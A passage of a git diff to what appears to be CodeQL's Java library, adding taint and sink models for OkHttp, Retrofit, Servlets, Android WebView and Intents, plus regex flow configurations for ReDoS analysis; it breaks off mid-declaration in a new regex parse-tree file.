+        "org.apache.ibatis.jdbc;AbstractSQL;true;FROM;(String[]);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;FROM;(String[]);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;FROM;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;FROM;(String);;Argument[0].ArrayElement;Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;FETCH_FIRST_ROWS_ONLY;(String);;Argument[0];Argument[-1];taint",
+        "org.apache.ibatis.jdbc;AbstractSQL;true;DELETE_FROM;(String);;Argument[0];Argument[-1];taint"
+      ]
+  }
+}
diff --git a/java/ql/lib/semmle/code/java/frameworks/OkHttp.qll b/java/ql/lib/semmle/code/java/frameworks/OkHttp.qll
new file mode 100644
index 00000000000..da38b7af7e8
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/frameworks/OkHttp.qll
@@ -0,0 +1,71 @@
+/**
+ * Provides classes and predicates for working with the OkHttp client.
+ */
+
+import java
+private import semmle.code.java.dataflow.ExternalFlow
+
+private class OkHttpOpenUrlSinks extends SinkModelCsv {
+  override predicate row(string row) {
+    row =
+      [
+        "okhttp3;Request;true;Request;;;Argument[0];open-url",
+        "okhttp3;Request$Builder;true;url;;;Argument[0];open-url"
+      ]
+  }
+}
+
+private class OKHttpSummaries extends SummaryModelCsv {
+  override predicate row(string row) {
+    row =
+      [
+        "okhttp3;HttpUrl;false;parse;;;Argument[0];ReturnValue;taint",
+        "okhttp3;HttpUrl;false;uri;;;Argument[-1];ReturnValue;taint",
+        "okhttp3;HttpUrl;false;url;;;Argument[-1];ReturnValue;taint",
+        "okhttp3;HttpUrl$Builder;false;addEncodedPathSegment;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;addEncodedPathSegment;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;addEncodedPathSegments;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;addEncodedPathSegments;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;addEncodedQueryParameter;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;addEncodedQueryParameter;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;addPathSegment;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;addPathSegment;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;addPathSegments;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;addPathSegments;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;addQueryParameter;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;addQueryParameter;;;Argument[0..1];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;build;;;Argument[-1];ReturnValue;taint",
+        "okhttp3;HttpUrl$Builder;false;encodedFragment;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;encodedFragment;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;encodedPassword;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;encodedPath;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;encodedPath;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;encodedQuery;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;encodedQuery;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;encodedUsername;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;fragment;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;fragment;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;host;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;host;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;password;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;port;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;port;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;query;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;query;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;removeAllEncodedQueryParameters;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;removeAllQueryParameters;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;removePathSegment;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;scheme;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;scheme;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;setEncodedPathSegment;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;setEncodedPathSegment;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;setEncodedQueryParameter;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;setEncodedQueryParameter;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;setPathSegment;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;setPathSegment;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;setQueryParameter;;;Argument[-1];ReturnValue;value",
+        "okhttp3;HttpUrl$Builder;false;setQueryParameter;;;Argument[0];Argument[-1];taint",
+        "okhttp3;HttpUrl$Builder;false;username;;;Argument[-1];ReturnValue;value",
+      ]
+  }
+}
diff --git a/java/ql/lib/semmle/code/java/frameworks/Retrofit.qll b/java/ql/lib/semmle/code/java/frameworks/Retrofit.qll
new file mode 100644
index 00000000000..bbbd659ee85
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/frameworks/Retrofit.qll
@@ -0,0 +1,12 @@
+/**
+ * Provides classes and predicates for working with the Retrofit API client.
+ */
+
+import java
+private import semmle.code.java.dataflow.ExternalFlow
+
+private class RetrofitOpenUrlSinks extends SinkModelCsv {
+  override predicate row(string row) {
+    row = "retrofit2;Retrofit$Builder;true;baseUrl;;;Argument[0];open-url"
+  }
+}
diff --git a/java/ql/lib/semmle/code/java/frameworks/Servlets.qll b/java/ql/lib/semmle/code/java/frameworks/Servlets.qll
index de82d49a7aa..0d7d6a69f03 100644
--- a/java/ql/lib/semmle/code/java/frameworks/Servlets.qll
+++ b/java/ql/lib/semmle/code/java/frameworks/Servlets.qll
@@ -8,7 +8,7 @@ import semmle.code.java.Type
  * The interface `javax.servlet.ServletRequest` or
  * `javax.servlet.http.HttpServletRequest`.
  */
-library class ServletRequest extends RefType {
+class ServletRequest extends RefType {
   ServletRequest() {
     this.hasQualifiedName("javax.servlet", "ServletRequest") or
     this instanceof HttpServletRequest
@@ -18,7 +18,7 @@ library class ServletRequest extends RefType {
 /**
  * The interface `javax.servlet.http.HttpServletRequest`.
  */
-library class HttpServletRequest extends RefType {
+class HttpServletRequest extends RefType {
   HttpServletRequest() { this.hasQualifiedName("javax.servlet.http", "HttpServletRequest") }
 }
 
@@ -26,7 +26,7 @@ library class HttpServletRequest extends RefType {
  * The method `getParameter(String)` or `getParameterValues(String)`
  * declared in `javax.servlet.ServletRequest`.
  */
-library class ServletRequestGetParameterMethod extends Method {
+class ServletRequestGetParameterMethod extends Method {
   ServletRequestGetParameterMethod() {
     this.getDeclaringType() instanceof ServletRequest and
     (
@@ -41,7 +41,7 @@ library class ServletRequestGetParameterMethod extends Method {
 /**
  * The method `getParameterNames()` declared in `javax.servlet.ServletRequest`.
  */
-library class ServletRequestGetParameterNamesMethod extends Method {
+class ServletRequestGetParameterNamesMethod extends Method {
   ServletRequestGetParameterNamesMethod() {
     this.getDeclaringType() instanceof ServletRequest and
     this.hasName("getParameterNames") and
@@ -52,7 +52,7 @@ library class ServletRequestGetParameterNamesMethod extends Method {
 /**
  * The method `getParameterMap()` declared in `javax.servlet.ServletRequest`.
  */
-library class ServletRequestGetParameterMapMethod extends Method {
+class ServletRequestGetParameterMapMethod extends Method {
   ServletRequestGetParameterMapMethod() {
     this.getDeclaringType() instanceof ServletRequest and
     this.hasName("getParameterMap") and
@@ -63,7 +63,7 @@ library class ServletRequestGetParameterMapMethod extends Method {
 /**
  * The method `getQueryString()` declared in `javax.servlet.http.HttpServletRequest`.
  */
-library class HttpServletRequestGetQueryStringMethod extends Method {
+class HttpServletRequestGetQueryStringMethod extends Method {
   HttpServletRequestGetQueryStringMethod() {
     this.getDeclaringType() instanceof HttpServletRequest and
     this.hasName("getQueryString") and
@@ -85,7 +85,7 @@ class HttpServletRequestGetPathMethod extends Method {
 /**
  * The method `getHeader(String)` declared in `javax.servlet.http.HttpServletRequest`.
  */
-library class HttpServletRequestGetHeaderMethod extends Method {
+class HttpServletRequestGetHeaderMethod extends Method {
   HttpServletRequestGetHeaderMethod() {
     this.getDeclaringType() instanceof HttpServletRequest and
     this.hasName("getHeader") and
@@ -97,7 +97,7 @@ library class HttpServletRequestGetHeaderMethod extends Method {
 /**
  * The method `getHeaders(String)` declared in `javax.servlet.http.HttpServletRequest`.
  */
-library class HttpServletRequestGetHeadersMethod extends Method {
+class HttpServletRequestGetHeadersMethod extends Method {
   HttpServletRequestGetHeadersMethod() {
     this.getDeclaringType() instanceof HttpServletRequest and
     this.hasName("getHeaders") and
@@ -109,7 +109,7 @@ library class HttpServletRequestGetHeadersMethod extends Method {
 /**
  * The method `getHeaderNames()` declared in `javax.servlet.http.HttpServletRequest`.
  */
-library class HttpServletRequestGetHeaderNamesMethod extends Method {
+class HttpServletRequestGetHeaderNamesMethod extends Method {
   HttpServletRequestGetHeaderNamesMethod() {
     this.getDeclaringType() instanceof HttpServletRequest and
     this.hasName("getHeaderNames") and
@@ -145,7 +145,7 @@ class HttpServletRequestGetRequestURIMethod extends Method {
 /**
  * The method `getRemoteUser()` declared in `javax.servlet.http.HttpServletRequest`.
  */
-library class HttpServletRequestGetRemoteUserMethod extends Method {
+class HttpServletRequestGetRemoteUserMethod extends Method {
   HttpServletRequestGetRemoteUserMethod() {
     this.getDeclaringType() instanceof HttpServletRequest and
     this.hasName("getRemoteUser") and
@@ -156,7 +156,7 @@ library class HttpServletRequestGetRemoteUserMethod extends Method {
 /**
  * The method `getInputStream()` or `getReader()` declared in `javax.servlet.ServletRequest`.
  */
-library class ServletRequestGetBodyMethod extends Method {
+class ServletRequestGetBodyMethod extends Method {
   ServletRequestGetBodyMethod() {
     this.getDeclaringType() instanceof ServletRequest and
     (this.hasName("getInputStream") or this.hasName("getReader"))
@@ -239,14 +239,14 @@ class ServletResponseGetOutputStreamMethod extends Method {
 }
 
 /** The class `javax.servlet.http.Cookie`. */
-library class TypeCookie extends Class {
+class TypeCookie extends Class {
   TypeCookie() { this.hasQualifiedName("javax.servlet.http", "Cookie") }
 }
 
 /**
  * The method `getValue(String)` declared in `javax.servlet.http.Cookie`.
  */
-library class CookieGetValueMethod extends Method {
+class CookieGetValueMethod extends Method {
   CookieGetValueMethod() {
     this.getDeclaringType() instanceof TypeCookie and
     this.hasName("getValue") and
@@ -257,7 +257,7 @@ library class CookieGetValueMethod extends Method {
 /**
  * The method `getName()` declared in `javax.servlet.http.Cookie`.
  */
-library class CookieGetNameMethod extends Method {
+class CookieGetNameMethod extends Method {
   CookieGetNameMethod() {
     this.getDeclaringType() instanceof TypeCookie and
     this.hasName("getName") and
@@ -269,7 +269,7 @@ library class CookieGetNameMethod extends Method {
 /**
  * The method `getComment()` declared in `javax.servlet.http.Cookie`.
  */
-library class CookieGetCommentMethod extends Method {
+class CookieGetCommentMethod extends Method {
   CookieGetCommentMethod() {
     this.getDeclaringType() instanceof TypeCookie and
     this.hasName("getComment") and
@@ -377,3 +377,26 @@ class RequestDispatchMethod extends Method {
     this.hasName(["forward", "include"])
   }
 }
+
+/**
+ * The interface `javax.servlet.ServletContext`.
+ */
+class ServletContext extends RefType {
+  ServletContext() { this.hasQualifiedName("javax.servlet", "ServletContext") }
+}
+
+/** The `getResource` method of `ServletContext`. */
+class GetServletResourceMethod extends Method {
+  GetServletResourceMethod() {
+    this.getDeclaringType() instanceof ServletContext and
+    this.hasName("getResource")
+  }
+}
+
+/** The `getResourceAsStream` method of `ServletContext`. */
+class GetServletResourceAsStreamMethod extends Method {
+  GetServletResourceAsStreamMethod() {
+    this.getDeclaringType() instanceof ServletContext and
+    this.hasName("getResourceAsStream")
+  }
+}
diff --git a/java/ql/lib/semmle/code/java/frameworks/android/Compose.qll b/java/ql/lib/semmle/code/java/frameworks/android/Compose.qll
new file mode 100644
index 00000000000..c511d3601a5
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/frameworks/android/Compose.qll
@@ -0,0 +1,48 @@
+/**
+ * Provides classes and predicates for working with components generated by the Android's Jetpack Compose compiler.
+ */
+
+import java
+
+/**
+ * A call to a live literal method.
+ * This always returns a constant expression and can be considered as such.
+ */
+class LiveLiteral extends MethodAccess {
+  LiveLiteral() {
+    this.getMethod() instanceof LiveLiteralMethod and
+    not this.getEnclosingCallable() instanceof LiveLiteralMethod
+  }
+
+  /**
+   * Live literal classes consist of the following:
+   * - A private field holding the constant value that backs this live literal.
+   * - A private getter to access the constant value.
+   * - A public getter that either calls the private getter and returns its result or,
+   * if live literals are activated, returns the value of a dynamic state object that is initialized with
+   * the constant value.
+   *
+   * This predicate gets the constant value held by the private field.
+   */
+  CompileTimeConstantExpr getValue() {
+    exists(MethodAccess getterCall, VarAccess va |
+      methodReturns(this.getMethod(), getterCall) and
+      methodReturns(getterCall.getMethod(), va) and
+      result = va.getVariable().getInitializer()
+    )
+  }
+
+  override string toString() { result = this.getValue().toString() }
+}
+
+/** A live literal method. */
+class LiveLiteralMethod extends Method {
+  LiveLiteralMethod() { this.getDeclaringType().getName().matches("LiveLiterals$%") }
+}
+
+private predicate methodReturns(Method m, Expr res) {
+  exists(ReturnStmt r |
+    r.getResult() = res and
+    r.getEnclosingCallable() = m
+  )
+}
diff --git a/java/ql/lib/semmle/code/java/frameworks/android/Intent.qll b/java/ql/lib/semmle/code/java/frameworks/android/Intent.qll
index a92d2665213..7aaa6519075 100644
--- a/java/ql/lib/semmle/code/java/frameworks/android/Intent.qll
+++ b/java/ql/lib/semmle/code/java/frameworks/android/Intent.qll
@@ -176,6 +176,25 @@ class GrantWriteUriPermissionFlag extends GrantUriPermissionFlag {
   GrantWriteUriPermissionFlag() { this.hasName("FLAG_GRANT_WRITE_URI_PERMISSION") }
 }
 
+/**
+ * A value-preserving step from the Intent argument of a `startActivity` call to
+ * a `getIntent` call in the Activity the Intent pointed to in its constructor.
+ */
+private class StartActivityIntentStep extends AdditionalValueStep {
+  override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
+    exists(MethodAccess startActivity, MethodAccess getIntent, ClassInstanceExpr newIntent |
+      startActivity.getMethod().overrides*(any(ContextStartActivityMethod m)) and
+      getIntent.getMethod().overrides*(any(AndroidGetIntentMethod m)) and
+      newIntent.getConstructedType() instanceof TypeIntent and
+      DataFlow::localExprFlow(newIntent, startActivity.getArgument(0)) and
+      newIntent.getArgument(1).getType().(ParameterizedType).getATypeArgument() =
+        getIntent.getReceiverType() and
+      n1.asExpr() = startActivity.getArgument(0) and
+      n2.asExpr() = getIntent
+    )
+  }
+}
+
 private class IntentBundleFlowSteps extends SummaryModelCsv {
   override predicate row(string row) {
     row =
diff --git a/java/ql/lib/semmle/code/java/frameworks/android/Slice.qll b/java/ql/lib/semmle/code/java/frameworks/android/Slice.qll
index e5e782e47e6..ad4f24adcd6 100644
--- a/java/ql/lib/semmle/code/java/frameworks/android/Slice.qll
+++ b/java/ql/lib/semmle/code/java/frameworks/android/Slice.qll
@@ -37,7 +37,7 @@ private class SliceProviderLifecycleStep extends AdditionalValueStep {
 
 private class SliceActionsInheritTaint extends DataFlow::SyntheticFieldContent,
   TaintInheritingContent {
-  SliceActionsInheritTaint() { this.getField().matches("androidx.slice.Slice.action") }
+  SliceActionsInheritTaint() { this.getField() = "androidx.slice.Slice.action" }
 }
 
 private class SliceBuildersSummaryModels extends SummaryModelCsv {
diff --git a/java/ql/lib/semmle/code/java/frameworks/android/WebView.qll b/java/ql/lib/semmle/code/java/frameworks/android/WebView.qll
index 6717eed4f63..8dd91f73f65 100644
--- a/java/ql/lib/semmle/code/java/frameworks/android/WebView.qll
+++ b/java/ql/lib/semmle/code/java/frameworks/android/WebView.qll
@@ -1,17 +1,21 @@
 import java
 
+/** The class `android.webkit.WebView`. */
 class TypeWebView extends Class {
   TypeWebView() { this.hasQualifiedName("android.webkit", "WebView") }
 }
 
+/** The class `android.webkit.WebViewClient`. */
 class TypeWebViewClient extends Class {
   TypeWebViewClient() { this.hasQualifiedName("android.webkit", "WebViewClient") }
 }
 
+/** The class `android.webkit.WebSettings`. */
 class TypeWebSettings extends Class {
   TypeWebSettings() { this.hasQualifiedName("android.webkit", "WebSettings") }
 }
 
+/** The method `getSettings` of the class `android.webkit.WebView`. */
 class WebViewGetSettingsMethod extends Method {
   WebViewGetSettingsMethod() {
     this.hasName("getSettings") and
@@ -19,6 +23,7 @@ class WebViewGetSettingsMethod extends Method {
   }
 }
 
+/** The method `loadUrl` or `postUrl` of the class `android.webkit.WebView`. */
 class WebViewLoadUrlMethod extends Method {
   WebViewLoadUrlMethod() {
     this.getDeclaringType() instanceof TypeWebView and
@@ -26,9 +31,46 @@ class WebViewLoadUrlMethod extends Method {
   }
 }
 
+/** The method `getUrl` or `getOriginalUrl` of the class `android.webkit.WebView`. */
 class WebViewGetUrlMethod extends Method {
   WebViewGetUrlMethod() {
     this.getDeclaringType() instanceof TypeWebView and
     (this.getName() = "getUrl" or this.getName() = "getOriginalUrl")
   }
 }
+
+/**
+ * A method allowing any-local-file and cross-origin access in the class `android.webkit.WebSettings`.
+ */
+class CrossOriginAccessMethod extends Method {
+  CrossOriginAccessMethod() {
+    this.getDeclaringType() instanceof TypeWebSettings and
+    this.hasName(["setAllowUniversalAccessFromFileURLs", "setAllowFileAccessFromFileURLs"])
+  }
+}
+
+/**
+ * The method `setJavaScriptEnabled` of the class `android.webkit.WebSettings`.
+ */
+class AllowJavaScriptMethod extends Method {
+  AllowJavaScriptMethod() {
+    this.getDeclaringType() instanceof TypeWebSettings and
+    this.hasName("setJavaScriptEnabled")
+  }
+}
+
+/** The method `setWebViewClient` of the class `android.webkit.WebView`. */
+class WebViewSetWebViewClientMethod extends Method {
+  WebViewSetWebViewClientMethod() {
+    this.getDeclaringType() instanceof TypeWebView and
+    this.hasName("setWebViewClient")
+  }
+}
+
+/** The method `shouldOverrideUrlLoading` of the class `android.webkit.WebViewClient`. */
+class ShouldOverrideUrlLoading extends Method {
+  ShouldOverrideUrlLoading() {
+    this.getDeclaringType().getASupertype*() instanceof TypeWebViewClient and
+    this.hasName("shouldOverrideUrlLoading")
+  }
+}
diff --git a/java/ql/lib/semmle/code/java/frameworks/android/Widget.qll b/java/ql/lib/semmle/code/java/frameworks/android/Widget.qll
index 4e960a1b4f8..da54e09dd2a 100644
--- a/java/ql/lib/semmle/code/java/frameworks/android/Widget.qll
+++ b/java/ql/lib/semmle/code/java/frameworks/android/Widget.qll
@@ -16,6 +16,18 @@ private class DefaultAndroidWidgetSources extends RemoteFlowSource {
   override string getSourceType() { result = "Android widget source" }
 }
 
+private class EditableToStringStep extends AdditionalTaintStep {
+  override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
+    exists(MethodAccess toString |
+      toString.getMethod().hasName("toString") and
+      toString.getReceiverType().hasQualifiedName("android.text", "Editable")
+    |
+      n1.asExpr() = toString.getQualifier() and
+      n2.asExpr() = toString
+    )
+  }
+}
+
 private class AndroidWidgetSummaryModels extends SummaryModelCsv {
   override predicate row(string row) {
     row = "android.widget;EditText;true;getText;;;Argument[-1];ReturnValue;taint"
diff --git a/java/ql/lib/semmle/code/java/frameworks/spring/SpringEntry.qll b/java/ql/lib/semmle/code/java/frameworks/spring/SpringEntry.qll
index 8ec02002af5..e2ce38ea44e 100644
--- a/java/ql/lib/semmle/code/java/frameworks/spring/SpringEntry.qll
+++ b/java/ql/lib/semmle/code/java/frameworks/spring/SpringEntry.qll
@@ -64,7 +64,7 @@ class SpringEntry extends SpringXmlElement {
 
   /**
    * Gets the bean pointed to by either the `value-ref` attribute, or a nested
-   * `<ref> or `<idref>` element, whichever is present.
+   * `<ref>` or `<idref>` element, whichever is present.
    */
   SpringBean getValueRefBean() {
     if this.hasValueRefString()
diff --git a/java/ql/lib/semmle/code/java/regex/RegexFlowConfigs.qll b/java/ql/lib/semmle/code/java/regex/RegexFlowConfigs.qll
new file mode 100644
index 00000000000..8936de5a923
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/regex/RegexFlowConfigs.qll
@@ -0,0 +1,193 @@
+/**
+ * Defines configurations and steps for handling regexes
+ */
+
+import java
+import semmle.code.java.dataflow.ExternalFlow
+private import semmle.code.java.dataflow.DataFlow
+private import semmle.code.java.dataflow.DataFlow2
+private import RegexFlowModels
+private import semmle.code.java.security.SecurityTests
+
+private class ExploitableStringLiteral extends StringLiteral {
+  ExploitableStringLiteral() { this.getValue().matches(["%+%", "%*%", "%{%}%"]) }
+}
+
+/**
+ * Holds if `kind` is an external sink kind that is relevant for regex flow.
+ * `full` is true if sinks with this kind match against the full string of its input.
+ * `strArg` is the index of the argument to methods with this sink kind that contan the string to be matched against,
+ * where -1 is the qualifier; or -2 if no such argument exists.
+ */
+private predicate regexSinkKindInfo(string kind, boolean full, int strArg) {
+  sinkModel(_, _, _, _, _, _, _, kind, _) and
+  exists(string fullStr, string strArgStr |
+    (
+      full = true and fullStr = "f"
+      or
+      full = false and fullStr = ""
+    ) and
+    (
+      strArgStr.toInt() = strArg
+      or
+      strArg = -2 and
+      strArgStr = ""
+    )
+  |
+    kind = "regex-use[" + fullStr + strArgStr + "]"
+  )
+}
+
+/** A sink that is relevant for regex flow. */
+private class RegexFlowSink extends DataFlow::Node {
+  boolean full;
+  int strArg;
+
+  RegexFlowSink() {
+    exists(string kind |
+      regexSinkKindInfo(kind, full, strArg) and
+      sinkNode(this, kind)
+    )
+  }
+
+  /** Holds if a regex that flows here is matched against a full string (rather than a substring). */
+  predicate matchesFullString() { full = true }
+
+  /** Gets the string expression that a regex that flows here is matched against, if any. */
+  Expr getStringArgument() {
+    exists(MethodAccess ma |
+      this.asExpr() = argOf(ma, _) and
+      result = argOf(ma, strArg)
+    )
+  }
+}
+
+private Expr argOf(MethodAccess ma, int arg) {
+  arg = -1 and result = ma.getQualifier()
+  or
+  result = ma.getArgument(arg)
+}
+
+/**
+ * A unit class for adding additional regex flow steps.
+ *
+ * Extend this class to add additional flow steps that should apply to regex flow configurations.
+ */
+class RegexAdditionalFlowStep extends Unit {
+  /**
+   * Holds if the step from `node1` to `node2` should be considered a flow
+   * step for regex flow configurations.
+   */
+  abstract predicate step(DataFlow::Node node1, DataFlow::Node node2);
+}
+
+// TODO: This may be able to be done with models-as-data if query-specific flow steps beome supported.
+private class JdkRegexFlowStep extends RegexAdditionalFlowStep {
+  override predicate step(DataFlow::Node node1, DataFlow::Node node2) {
+    exists(MethodAccess ma, Method m, string package, string type, string name, int arg |
+      ma.getMethod().getSourceDeclaration().overrides*(m) and
+      m.hasQualifiedName(package, type, name) and
+      node1.asExpr() = argOf(ma, arg) and
+      node2.asExpr() = ma
+    |
+      package = "java.util.regex" and
+      type = "Pattern" and
+      (
+        name = ["asMatchPredicate", "asPredicate", "matcher"] and
+        arg = -1
+        or
+        name = "compile" and
+        arg = 0
+      )
+      or
+      package = "java.util.function" and
+      type = "Predicate" and
+      name = ["and", "or", "not", "negate"] and
+      arg = [-1, 0]
+    )
+  }
+}
+
+private class GuavaRegexFlowStep extends RegexAdditionalFlowStep {
+  override predicate step(DataFlow::Node node1, DataFlow::Node node2) {
+    exists(MethodAccess ma, Method m, string package, string type, string name, int arg |
+      ma.getMethod().getSourceDeclaration().overrides*(m) and
+      m.hasQualifiedName(package, type, name) and
+      node1.asExpr() = argOf(ma, arg) and
+      node2.asExpr() = ma
+    |
+      package = "com.google.common.base" and
+      type = "Splitter" and
+      (
+        name = "on" and
+        m.getParameterType(0).(RefType).hasQualifiedName("java.util.regex", "Pattern") and
+        arg = 0
+        or
+        name = "withKeyValueSeparator" and
+        m.getParameterType(0).(RefType).hasQualifiedName("com.google.common.base", "Splitter") and
+        arg = 0
+        or
+        name = "onPattern" and
+        arg = 0
+        or
+        name = ["limit", "omitEmptyStrings", "trimResults", "withKeyValueSeparator"] and
+        arg = -1
+      )
+    )
+  }
+}
+
+private class RegexFlowConf extends DataFlow2::Configuration {
+  RegexFlowConf() { this = "RegexFlowConfig" }
+
+  override predicate isSource(DataFlow::Node node) {
+    node.asExpr() instanceof ExploitableStringLiteral
+  }
+
+  override predicate isSink(DataFlow::Node node) { node instanceof RegexFlowSink }
+
+  override predicate isAdditionalFlowStep(DataFlow::Node node1, DataFlow::Node node2) {
+    any(RegexAdditionalFlowStep s).step(node1, node2)
+  }
+
+  override predicate isBarrier(DataFlow::Node node) {
+    node.getEnclosingCallable().getDeclaringType() instanceof NonSecurityTestClass
+  }
+}
+
+/**
+ * Holds if `regex` is used as a regex, with the mode `mode` (if known).
+ * If regex mode is not known, `mode` will be `"None"`.
+ *
+ * As an optimisation, only regexes containing an infinite repitition quatifier (`+`, `*`, or `{x,}`)
+ * and therefore may be relevant for ReDoS queries are considered.
+ */
+predicate usedAsRegex(StringLiteral regex, string mode, boolean match_full_string) {
+  any(RegexFlowConf c).hasFlow(DataFlow2::exprNode(regex), _) and
+  mode = "None" and // TODO: proper mode detection
+  (if matchesFullString(regex) then match_full_string = true else match_full_string = false)
+}
+
+/**
+ * Holds if `regex` is used as a regular expression that is matched against a full string,
+ * as though it was implicitly surrounded by ^ and $.
+ */
+private predicate matchesFullString(StringLiteral regex) {
+  exists(RegexFlowConf c, RegexFlowSink sink |
+    sink.matchesFullString() and
+    c.hasFlow(DataFlow2::exprNode(regex), sink)
+  )
+}
+
+/**
+ * Holds if the string literal `regex` is a regular expression that is matched against the expression `str`.
+ *
+ * As an optimisation, only regexes containing an infinite repitition quatifier (`+`, `*`, or `{x,}`)
+ * and therefore may be relevant for ReDoS queries are considered.
+ */
+predicate regexMatchedAgainst(StringLiteral regex, Expr str) {
+  exists(RegexFlowConf c, RegexFlowSink sink |
+    str = sink.getStringArgument() and
+    c.hasFlow(DataFlow2::exprNode(regex), sink)
+  )
+}
diff --git a/java/ql/lib/semmle/code/java/regex/RegexFlowModels.qll b/java/ql/lib/semmle/code/java/regex/RegexFlowModels.qll
new file mode 100644
index 00000000000..6934540116f
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/regex/RegexFlowModels.qll
@@ -0,0 +1,32 @@
+/** Definitions of data flow steps for determining flow of regular expressions. */
+
+import java
+import semmle.code.java.dataflow.ExternalFlow
+
+private class RegexSinkCsv extends SinkModelCsv {
+  override predicate row(string row) {
+    row =
+      [
+        //"namespace;type;subtypes;name;signature;ext;input;kind"
+        "java.util.regex;Matcher;false;matches;();;Argument[-1];regex-use[f]",
+        "java.util.regex;Pattern;false;asMatchPredicate;();;Argument[-1];regex-use[f]",
+        "java.util.regex;Pattern;false;compile;(String);;Argument[0];regex-use[]",
+        "java.util.regex;Pattern;false;compile;(String,int);;Argument[0];regex-use[]",
+        "java.util.regex;Pattern;false;matcher;(CharSequence);;Argument[-1];regex-use[0]",
+        "java.util.regex;Pattern;false;matches;(String,CharSequence);;Argument[0];regex-use[f1]",
+        "java.util.regex;Pattern;false;split;(CharSequence);;Argument[-1];regex-use[0]",
+        "java.util.regex;Pattern;false;split;(CharSequence,int);;Argument[-1];regex-use[0]",
+        "java.util.regex;Pattern;false;splitAsStream;(CharSequence);;Argument[-1];regex-use[0]",
+        "java.util.function;Predicate;false;test;(Object);;Argument[-1];regex-use[0]",
+        "java.lang;String;false;matches;(String);;Argument[0];regex-use[f-1]",
+        "java.lang;String;false;split;(String);;Argument[0];regex-use[-1]",
+        "java.lang;String;false;split;(String,int);;Argument[0];regex-use[-1]",
+        "java.lang;String;false;replaceAll;(String,String);;Argument[0];regex-use[-1]",
+        "java.lang;String;false;replaceFirst;(String,String);;Argument[0];regex-use[-1]",
+        "com.google.common.base;Splitter;false;onPattern;(String);;Argument[0];regex-use[]",
+        "com.google.common.base;Splitter;false;split;(CharSequence);;Argument[-1];regex-use[0]",
+        "com.google.common.base;Splitter;false;splitToList;(CharSequence);;Argument[-1];regex-use[0]",
+        "com.google.common.base;Splitter$MapSplitter;false;split;(CharSequence);;Argument[-1];regex-use[0]",
+      ]
+  }
+}
diff --git a/java/ql/lib/semmle/code/java/regex/RegexTreeView.qll b/java/ql/lib/semmle/code/java/regex/RegexTreeView.qll
new file mode 100644
index 00000000000..c3592634fa0
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/regex/RegexTreeView.qll
@@ -0,0 +1,1084 @@
+/** Provides a class hierarchy corresponding to a parse tree of regular expressions. */
+
+private import java
+private import semmle.code.java.regex.regex
+
+/**
+ * An element containing a regular expression term, that is, either
+ * a string literal (parsed as a regular expression; the root of the parse tree)
+ * or another regular expression term (a decendent of the root).
+ *
+ * For sequences and alternations, we require at least two children.
+ * Otherwise, we wish to represent the term differently.
+ * This avoids multiple representations of the same term.
+ */
+private newtype TRegExpParent =
